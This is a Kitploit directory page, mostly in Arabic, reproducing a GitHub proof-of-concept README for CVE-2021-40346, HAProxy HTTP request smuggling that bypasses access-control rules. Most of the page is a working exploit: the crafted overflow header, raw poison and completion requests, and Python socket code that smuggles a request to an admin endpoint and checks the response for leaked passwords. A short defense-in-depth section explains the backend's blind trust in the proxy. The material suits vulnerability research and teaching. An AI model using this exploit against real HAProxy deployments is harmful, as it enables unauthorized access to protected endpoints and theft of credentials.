Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-40346 — تهريب طلبات HTTP | Kitploit
أدوات/GitHubGitHub/boianeduard/cve-2021-40346
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

تهريب طلبات HTTP

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-40346: HAProxy HTTP Request Smuggling - ACL Bypass

نظرة عامة

يُظهر هذا المشروع CVE-2021-40346، وهي ثغرة حرجة في تجاوز عدد صحيح في HAProxy تُمكن من هجمات تهريب طلبات HTTP لتجاوز ضوابط الأمان.

درجة CVSSv3: 7.5 (عالية)

المساهمون:

  1. بويتان إدوارد
  2. بورسوش ماتياس رولاند

ما هو CVE-2021-40346؟

CVE-2021-40346 هي ثغرة تجاوز عدد صحيح في منطق تحليل رؤوس HTTP في HAProxy. عندما يتجاوز اسم الرأس 255 بايت، تفيض قيمة الطول من حقل 8 بت، مما يتسبب في تفسير HAProxy للرأس بشكل خاطئ أثناء إعادة توجيه الطلب.

كيف يعمل الهجوم

تفصيل خطوة بخطوة

  1. يرسل المهاجم: اسم الرأس = "Content-Length0" + 255×'a' = 270 بايت

  2. المرحلة 1 (التحليل الأولي):

    • يقرأ HAProxy جميع البايتات الـ 270 من اسم الرأس
    • يُخزّن (تجاوز 8 بت)
name_length = 270 % 256 = 14
  • يحدد بت التجاوز value_length = 1
  • يقرأ الرأس الشرعي Content-Length: 60 ويعامله كطول الجسم
  • يقرأ 60 بايت كجسم الطلب (يحتوي على الطلب المهرب)
  • المرحلة 2 (إعادة توجيه الطلب):

    • يواجه كتلة الرأس الفائضة
    • يقرأ فقط أول 14 حرفًا: "Content-Length"
    • يقرأ حرفًا واحدًا للقيمة (عند الموضع 14): "0"
    • يضيف content-length: 0 إلى الطلب المُعاد توجيهه
    • يتجاهل الرأس الحقيقي Content-Length: 60 (وفقًا للمنطق الطبيعي)
  • معالجة الخلفية:

    • تتلقى content-length: 0 من HAProxy
    • تفسر طلب POST بدون جسم
    • تعامل "الجسم" (طلب GET المهرب) كطلب HTTP التالي
    • تعالج الطلب المهرب، متجاوزة جميع قوائم ACL الخاصة بـ HAProxy

  • مثال على تدفق الهجوم

    تجاوز قواعد ACL للوصول إلى نقطة نهاية المشرف

    لنفترض أن HAProxy مُكوّن بقواعد ACL تُقيّد الوصول إلى مسارات المشرف:

    root@kitploit:~
    http-request deny if { path_beg /users/admin }
    

    في إثبات المفهوم الخاص بنا، نستخدم جلسة مستخدم عادي (alice) للوصول إلى نقطة النهاية المحمية /users/admin التي يجب أن تكون متاحة فقط للمشرفين.

    الطلب الخبيث (الطلب 1 - التسميم):

    root@kitploit:~
    POST / HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
    Content-Length: 78
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    الطلب الذي يُعيد توجيهه HAProxy:

    root@kitploit:~
    POST / HTTP/1.1
    host: 127.0.0.1:8080
    content-length: 0
    x-forwarded-for: 192.168.188.1
    
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:
    

    طلب الإكمال (الطلب 2):

    root@kitploit:~
    GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    الطلب المهرب الكامل الذي تعالجه الخلفية:

    root@kitploit:~
    GET /users/admin HTTP/1.1
    Cookie: session=alice_session_token
    DUMMY:GET / HTTP/1.1
    Host: 127.0.0.1:8080
    
    

    النتيجة:

    1. يُعيد HAProxy توجيه POST / بـ content-length: 0 (ترى ACL مسارًا آمنًا)
    2. تعالج الخلفية POST / (بدون جسم) وتنتظر الطلب التالي
    3. تعامل الخلفية طلب GET المهرب غير المكتمل /users/admin كطلب معلق
    4. يكمل الطلب 2 الطلب المهرب
    5. تعالج الخلفية GET /users/admin بجلسة alice، متجاوزة ACL الخاصة بـ HAProxy
    6. يُعاد الرد الذي يحتوي على أسرار المشرف إلى المهاجم

    إثبات المفهوم

    إعداد بيئة الاختبار

    تكوين HAProxy (haproxy.cfg)

    مثيل HAProxy الضعيف مُكوّن بقواعد ACL لحماية نقطة نهاية المشرف:

    root@kitploit:~
    ...
        # ACL لاكتشاف الوصول إلى نقطة نهاية المشرف
        acl is_admin_endpoint path_beg /users/admin
        
        # ACL للتحقق من وجود كلمة جلسة المشرف
        acl has_admin_session cook(session) -m beg admin_
        
        # منع الوصول إلى نقطة نهاية المشرف إذا لم يكن لدى المستخدم جلسة مشرف
        http-request deny if is_admin_endpoint !has_admin_session
    ...
    

    النقاط الرئيسية:

    • حماية ACL: /users/admin محجوبة ما لم تبدأ كلمة الجلسة بـ admin_
    • HTTP Keep-Alive (افتراضيًا): يستخدم HAProxy وضع keep-alive افتراضيًا، مُعيدًا استخدام اتصالات TCP مع الخلفية - هذا حرج للهجوم لأنه يسمح بطلبات متعددة على نفس الاتصال
    • التحكم في الوصول القائم على الجلسة: المستخدمون العاديون (جلسة تبدأ بـ user_) ممنوعون

    خادم الخلفية (Flask)

    خادم الخلفية لديه ثلاثة مستخدمين ونقطة نهاية مشرف:

    root@kitploit:~
    USERS = [
        {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
        {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
        {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
    ]
    
    @app.route('/login', methods=['POST'])
    def login():
        # ... منطق المصادقة ...
        
        # إنشاء رمز جلسة ببادئة الدور
        prefix = 'admin_' if user['role'] == 'admin' else 'user_'
        token = prefix + secrets.token_hex(16)
        
        resp.set_cookie('session', token, httponly=True)
        return resp
    
    @app.route('/users/admin', methods=['GET', 'POST'])
    def users_admin():
        # إرجاع بيانات حساسة تشمل جميع كلمات مرور المستخدمين
        rows = ''.join([
            f"{u['id']} | {u['username']} | {u['email']} | "
            f"{u['password']} | {u['role']}" 
            for u in USERS
        ])
        
        return f"ADMIN PANELAll users with passwords:{rows}"
    

    نموذج الأمان:

    • أليس (مستخدم عادي) تحصل على جلسة: user_a1b2c3d4...
    • المشرف يحصل على جلسة: admin_a1b2c3d4...
    • يمنع HAProxy طلبات أليس إلى /users/admin
    • تكوين خاطئ للخلفية: يثق خادم Flask بشكل أعمى بأن HAProxy قد فرض التحكم في الوصول بالفعل، ولا يعيد التحقق من رمز الجلسة أو يتحقق مما إذا كان المستخدم مشرفًا بالفعل قبل تقديم البيانات الحساسة
    • الثغرة: يتجاوز تهريب HTTP فحص ACL الخاص بـ HAProxy، ولا تحتوي الخلفية على أي دفاع متعمق

    لماذا ينجح هذا:

    1. يرى HAProxy الطلب الخارجي POST / (مسموح)
    2. يتحقق HAProxy من قواعد ACL على POST / (لا يوجد تقييد للمشرف)
    3. يُعيد HAProxy توجيه content-length: 0 (بسبب خطأ التجاوز)
    4. تتلقى الخلفية طلب GET /users/admin غير المكتمل
    5. يكمل الطلب الثاني ذلك، متجاوزًا فحص ACL الخاص بـ HAProxy
    6. تخدم الخلفية نقطة نهاية المشرف بشكل أعمى - لا تتحقق أبدًا مما إذا كان رمز الجلسة هو رمز مشرف بالفعل
    7. تعالج الخلفية GET /users/admin مباشرةً، مُظهرةً كلمات المرور

    درس الدفاع المتعمق: يوضح هذا لماذا لا ينبغي للخلفيات أن تثق بشكل أعمى في الوكيل. حتى مع وجود قواعد ACL الخاصة بـ HAProxy، يجب على الخلفية:

    • تحليل والتحقق من رمز الجلسة بنفسها
    • التحقق من دور/صلاحيات المستخدم قبل تقديم نقاط النهاية الحساسة
    • تنفيذ منطق التفويض الخاص بها (على سبيل المثال، مصمّم @require_admin)

    الاعتماد فقط على التحكم في الوصول على مستوى الوكيل يُنشئ نقطة فشل واحدة.

    تسلسلات الاستغلال الرئيسية

    يُظهر إثبات المفهوم تجاوز قواعد ACL الخاصة بـ HAProxy للوصول إلى /users/admin باستخدام جلسة مستخدم عادي من خلال أربع خطوات رئيسية:

    1. المصادقة كمستخدم عادي

    root@kitploit:~
    # تسجيل الدخول كأليس (مستخدم غير مشرف)
    body = "username=alice&password=alice123"
    login = f"POST /login HTTP/1.1\r\n" \
            f"Host: {TARGET}:{PORT}\r\n" \
            f"Content-Type: application/x-www-form-urlencoded\r\n" \
            f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
    
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(login)
    time.sleep(0.5)
    
    # تلقي الرد واستخراج رمز الجلسة
    resp = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    sock.close()
    
    session = resp.decode().split('session=')[1].split(';')[0]
    print(f"✓ Session: {session[:35]}...")
    

    الغرض:

    • الحصول على رمز جلسة شرعي لمستخدم عادي (أليس)
    • هذه الجلسة عادةً ليس لها وصول إلى نقطة نهاية /users/admin
    • سنستخدم هذه الجلسة في الطلب المهرب لتجاوز قواعد ACL

    2. بناء الطلب المهرب (غير مكتمل)

    root@kitploit:~
    # صياغة طلب مهرب غير مكتمل يستهدف نقطة نهاية المشرف
    smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
    

    التفاصيل الحرجة:

    • يستهدف المسار المحمي /users/admin
    • يستخدم جلسة مستخدم شرعية (أليس)
    • ينتهي برأس DUMMY: (بدون CRLF) لإبقاء الطلب غير مكتمل
    • ستنتظر الخلفية المزيد من البيانات قبل المعالجة

    3. إنشاء طلب التسميم

    root@kitploit:~
    # إنشاء رأس فائض (270 بايت = 14 بعد تجاوز 8 بت)
    overflow_header = "Content-Length0" + ("a" * 255)
    
    # بناء طلب التسميم كاملًا
    poison = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"{overflow_header}:\r\n"                    # يؤدي إلى تجاوز العدد الصحيح
        f"Content-Length: {len(smuggled_incomplete)}\r\n"  # طول الجسم الحقيقي
        f"\r\n"
        f"{smuggled_incomplete}"                     # الطلب المهرب كـ "جسم"
    ).encode()
    

    ما يحدث:

    • Content-Length0aaa... (270 بايت) يفوق إلى 14 بايت
    • المرحلة الثانية من HAProxy تقرأ أول 14 حرفًا: "Content-Length"
    • القيمة عند الموضع 14: "0"
    • يُعيد HAProxy توجيه: content-length: 0
    • تتلقى الخلفية طلب GET المهرب كطلب معلق

    4. إرسال الطلبات

    root@kitploit:~
    # إرسال طلب التسميم
    sock = socket.socket()
    sock.connect((TARGET, PORT))
    sock.sendall(poison)
    time.sleep(1)
    resp1 = sock.recv(4096)  # تلقي رد POST /
    
    # إرسال طلب الإكمال (يكمل الطلب المهرب)
    completion = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"\r\n"
    ).encode()
    
    sock.sendall(completion)
    time.sleep(2)
    
    # التقاط رد الطلب المهرب
    all_data = b""
    sock.settimeout(5)
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            all_data += chunk
    except:
        pass
    sock.close()
    
    # فك الترميز والتحقق من النجاح
    text = all_data.decode('utf-8', errors='ignore')
    
    print(f"\n[RESULTS] {len(all_data)} bytes received")
    print("="*70)
    print(text)
    print("="*70)
    
    if "admin_secret" in text:
        print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
        print("🔓 Stolen passwords visible in response above!")
    else:
        print("\n⚠️  Check backend logs - smuggling is working but response capture needs adjustment")
    

    تدفق الطلب:

    1. يُرسل التسميم → تُخزّن الخلفية طلب GET /users/admin غير المكتمل مؤقتًا
    2. يُرسل الإكمال → يُدمج مع الطلب المهرب، مُضيفًا CRLF مزدوج
    3. تعالج الخلفية → طلب GET /users/admin كامل مع جلسة أليس
    4. يُلتقط الرد → تُستقبل جميع البيانات وتُفك ترميزها إلى UTF-8
    5. كشف النجاح → التحقق من وجود كلمة admin_secret في الرد
    تنزيل الأداة